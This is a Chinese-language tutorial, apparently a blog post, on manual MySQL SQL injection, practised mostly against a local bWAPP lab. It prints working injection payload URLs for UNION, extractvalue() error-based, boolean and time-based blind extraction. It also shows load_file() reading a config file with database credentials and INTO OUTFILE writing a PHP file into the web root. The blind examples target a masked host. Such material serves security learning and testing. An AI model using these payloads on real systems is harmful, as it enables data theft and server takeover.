MySQL手工注入简述

2020-03-08 16:45:57 浏览数 (1)

对于MySQL的注入内容,网上有很多的例子,MySQL注入也是我们平时最容易见到的,这里仅仅拿出来几个例子来说明一下。

目录

0x01常用命令

0x02常规union显注

0x03extractvalue()显注

0x04基于布尔的盲注

0x05基于时间的盲注

0x06文件读取

0x07文件写入

注:在0x06和0x07中,默认参数--secure-file-priv不为null

0x01常用命令

对于注入来说,你首先要对基本的查询语句足够的了解,多熟悉一种查询方法,在实际测试过程中,就多一点机会。

这里先说两种常用的单行查询的语句,因为在注入过程中,经常会遇到内容显示不全等现象,所以限制输出行数是很必要的

代码语言:javascript复制
concat(str1,str2,…)

concat()函数用于将多个字符串连接成一个字符串,如有任何一个参数为NULL ,则返回值为 NULL。

代码语言:javascript复制
concat_ws(‘指定分隔符’,str1,str2,str3...)

concat_ws()函数与concat()函数的不同在于concat_ws()函数不会因为中间的空值而整体返回空,只有在分隔符为空时,才整体返回空

其他的语句,在后面提到的时候会说

还有几种就是MySQL的内置变量,在做信息收集的时候会用到

代码语言:javascript复制
version() 当前数据库的版本号
代码语言:javascript复制
database() 当前所在数据库
代码语言:javascript复制
user() 当前数据库用户权限
代码语言:javascript复制
@@datadir 数据文件的存放目录
代码语言:javascript复制
@@basedir 数据库的安装路径
代码语言:javascript复制
@@hostname 当前主机名(可以判断是否是虚拟机)
代码语言:javascript复制
@@version_compile_os 判断使用的系统

0x02常规union显注

接下来先举一个简单的例子说一下MySQL的注入

这是正常页面

加单引号或者反斜杠等等,看他是否会报错

报错了,八九不离十是存在注入的

再使用and或者or,来确定一下

这是存在注入无疑了

之后就使用order by来判断字段

总字段数有4个

接下来使用union select来确定数据位

确定数据位为2和3

之后就可以利用这两个位,来得到我们想要的信息

这里还有个坑,需要大家知道一下,针对mssql等其他数据库,这里使用数字可能就不行了,那就需要使用null来代替了

至于如何爆出信息来,就只能是挨个去测试了

接下来,查询该用户所能查看到的数据库

可以看到这里有三个数据库

查看数据库中的表

这个tbl_usr可能就是我们所需要的

接下来就是查字段了

再往后就是查数据了

由于是明文存储,直接获取到密码。

其实在前面的例子中,它会把数据分行来显示出来,这样就不存在被截断看不到的现象了,如果存在的话就使用limit来限制就可以了

0x03 extractvalue()显注

extractvalue() :对XML文档进行查询的函数

代码语言:javascript复制
extractvalue(目标xml文档,xml路径)

具体的函数前面也已经说过了,这里就不提了,直接看操作

正常页面

使其报错

首先先查看它的版本号,数据库等信息

查数据库的安装位置也是必要的,在实在爆不出来绝对路径的时候,可以使用此路径才猜测

接下来,开始爆数据库

此时可以发现,它由于返回值超过了一个,所以不能返回,这时,我们就需要通过limit来限制它的输出

代码语言:javascript复制
http://127.0.0.1/bWAPP/sqli_2.php?movie=2 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,schema_name) from information_schema.schemata limit 0,1)))--  &action=go
代码语言:javascript复制
http://127.0.0.1/bWAPP/sqli_2.php?movie=2 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,schema_name) from information_schema.schemata limit 1,1)))--  &action=go

接下来,爆表名

代码语言:javascript复制
http://127.0.0.1/bWAPP/sqli_2.php?movie=2 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,table_name) from information_schema.tables where table_schema=0x6257415050 limit 0,1)))--  &action=go

也是通过limit来限制输出,直到找到我们所需要的值

接下来就去跑字段和账号密码了,跟前面的方法一样,就不多说了

还有一种是updatexml()显注,跟这个完全类似,就不多说了

0x04基于布尔的盲注

这是正常访问的页面

使它报错

基本可以判断存在注入

再确定一下 and 1=1,返回正常

and 1=2,还是返回正常

这是什么情况?难道不存在注入?

不是的,其实它不是数字型的注入,它传入到数据库进行查询的时候,是按照字符串来进行查询的

说明它确实是存在注入的,而且是字符型的注入

具体的查询方法还是跟之前的一样,不过因为是盲注,就比较复杂了

通过limit和ASCII码来一个字符一个字符的对碰,可以借助burp等工具来帮助我们去实现

代码语言:javascript复制
**********.php?id=31660' and (select ascii(substring((selectversion()),1,1))=53) and 'aaa'='aaa

这里等于53时,返回页面正常,说明值正确,查看ASCII码表

53对应的是5,说明第一个值为5

然后limit限制第二个值,变换后面的内容,来查看其为多少

代码语言:javascript复制
**********.php?id=31660' and (select ascii(substring((selectversion()),2,1))=46) and 'aaa'='aaa

当值为46时,返回正常,对应ASCII码表

当值为46时,为点

接下来,判断第三个

代码语言:javascript复制
**********.php?id=31660' and (select ascii(substring((selectversion()),3,1))=53) and 'aaa'='aaa

发现当值为53时,返回正常页面,根据ASCII码表,得知53对应的ascii码为5,所以初步得到这个它的版本为“5.5.*******”,后面的内容按照这个方法依次去猜解就可以了

对于猜表名等,只需要将这里的查询版本改换成前面所使用的对应的语句,就可以进行判断了,

0x05基于时间的盲注

其实基于时间的盲注跟基于布尔的盲注基本一样,不同的是布尔盲注是看返回页面的正常与否,时间盲注是看页面是否卡顿即sleep的秒数

还是在刚才的那个例子上,稍加变动即可

代码语言:javascript复制
**********.php?id=31660' and if((ascii(mid((select version()),1,1))=53),sleep(5),1) and 'aaa'='aaa

主要就是看它是否会等待足够的时长

之后跟前面一样,只需要改变其中需要查询的值,然后按位去判断就可以了

0x06文件读取

这里,我们就省略掉前几个步骤,直接从union联合查询开始

代码语言:javascript复制
http://127.0.0.1/bWAPP/sqli_2.php?movie= -1 union select 1,2,3,4,5,6,7 from information_schema.schemata --  &action=go

首先,这里先找到了它哪几个位置可以显示值

比如说这里我们要查看这个文件

D:phpstudyPHPTutorialWWWbWAPPadminsettings.php

先将它hex编码一下

代码语言:javascript复制
0x443A5C70687073747564795C5048505475746F7269616C5C5757575C62574150505C61646D696E5C73657474696E67732E706870

然后套用函数来查看,load_file(文件的绝对路径的hex值) 来读取文件

代码语言:javascript复制
http://127.0.0.1/bWAPP/sqli_2.php?movie= -1 union select 1,load_file(0x443A5C70687073747564795C5048505475746F7269616C5C5757575C62574150505C61646D696E5C73657474696E67732E706870),3,4,5,6,7--  &action=go

咦,为什么跟我们预想的不一样呢,为什么数字2的位置为空了

其实,这个是它代码的原因,我们只需要查看源代码,就可以看到了

可以发现这里的代码都已经被注释掉了,不过不影响我们读内容

数据库的账号密码和数据库名都在这里了

0x07文件写入

这里的注意事项,在第六点的时候已经提到过了

这里我们假设要把 <?php phpinfo();?> ,写入到

D:phpstudyPHPTutorialWWWbWAPPadmin目录下的123.php这个文件中

通过intooutfile '绝对路径' 来写

代码语言:javascript复制
http://127.0.0.1/bWAPP/sqli_2.php?movie=-1 union select 1,0x3C3F70687020706870696E666F28293B3F3E,3,4,5,6,7 into outfile 'D:/phpstudy/PHPTutorial/WWW/bWAPP/admin/123.php' --  &action=go

虽然报错了,但是这里并不影响

可以发现已经写入成功了

访问也是没有任何问题的

就简单提到这里,之后有需要的时候再展开某一块详细说明。

推荐阅读

  1. Linux重定向及反弹shell详解
  2. 部署IIS PHP Oracle环境
  3. Linux目录结构及开机流程详解
  4. 部署IIS PHP SQL server环境
  5. Kerberoasting攻击

0 人点赞